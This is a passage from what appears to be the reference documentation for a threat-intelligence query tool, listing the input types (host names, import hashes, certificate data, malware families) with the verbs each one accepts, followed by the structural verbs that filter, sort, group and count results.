`file`	`"proxy.csv"`	`import()`
`email_header`	a whole email header, pasted	`parse_header()`
`hostname`	a host name	`compare()`, `ct_logs()`, `decode()`, `dns()`, `encode()`, `http()`, `otx()`, `resolve()`, `tls_cert()`
`imphash`	a PE import hash	`compare()`, `samples()`
`cert_fingerprint`	a certificate fingerprint	`cert_lookup()`, `compare()`
`cert_serial`	a certificate serial	`cert_lookup()`, `compare()`, `samples()`
`malware_family`	a malware family	`compare()`, `samples()`
`tag`	a sample's tag	`compare()`, `samples()`

Values inside results have types too: org, country, score, age (in days), date, int, bool and http_status. That is how a filter compares a date as a date and a score as a number (9.1).

#Structural verbs

These work on the results of any verb. They narrow, order, group and count what the line has so far, and make no API calls.

verb	what it does
`filter()`	keep results matching a condition
`find()`	grep: text, /regex/, or a shape like domain
`uniq()`	drop duplicates
`sort()`	order by fields: sort(score desc)
`group()`	one row per value, with a count: group(country)
`max()`	the highest of a field: max(score)
`min()`	the lowest of a field: min(last_reported)
`sum()`	a field added up: sum(total_reports)
`avg()`	a field's average: avg(score)
`count()`	how many results
`limit()`	cap the number shown
`first()`	the first n
`last()`	the last n

They are described in full in the reference: Narrowing and counting.